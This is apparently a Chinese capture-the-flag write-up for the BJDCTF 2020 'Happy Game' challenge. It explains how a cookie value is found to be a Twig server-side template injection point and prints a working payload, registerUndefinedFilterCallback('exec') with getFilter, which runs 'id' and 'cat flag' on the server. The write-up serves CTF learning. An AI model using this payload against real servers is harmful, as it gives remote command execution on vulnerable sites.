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考点：

1. Twig模版注入

2. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

首先启动环境：

其中导航栏包括 Flag和 Hint页面，依次点击查看，首先是 Hint页面：

查看网页源码，得到：
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<h3>Welcome to BJDCTF 2020.Happy Game!</h3>
    <!-- Why not take a closer look at cookies? -->
    <div class="shaky" style="font-size:20px;">(｡･∀･)ﾉﾞ♥</div>

提示到 cookies中看看，查看 Flag页面：

是一个输入名字的页面，尝试正常输入 test：

可以回显出输入的用户名，尝试输入 {{7*7}}查看服务器端能否执行：



成功被执行

由二向箔安全学院给出的图示判断模板引擎，服务端模板注入攻击

其中 {{7*7}}在Twig中返回 49，在Jinja2中返回的是 7777777，由此判断出为Twig模版注入

因为提示了 cookie，所以使用BurpSuite抓取数据包：

在Repeater中发送数据包：

https://zhuanlan.zhihu.com/p/28823933


在返回数据包中，存在有 Set-Cookie: user=admin

抓取登陆后的数据包：

其中Cookie中包含有：

user=admin

将 user的值修改为 {{7*7}}，发送数据包：

得到回显，成功被执行：

证实此处为注入点。

Twig不能调用静态方法，但提供了 _self，所以无需暴力枚举变量名，且提供了指向 Twig_Environment的 env属性。

通过查阅资料，详解模板注入漏洞（上） ，构造Payload：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

发送数据包，得到回显：

说明命令可以成功执行，查找到flag在 /目录下，读取flag：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat flag")}}

https://www.sohu.com/a/441794414_750628


得到flag。
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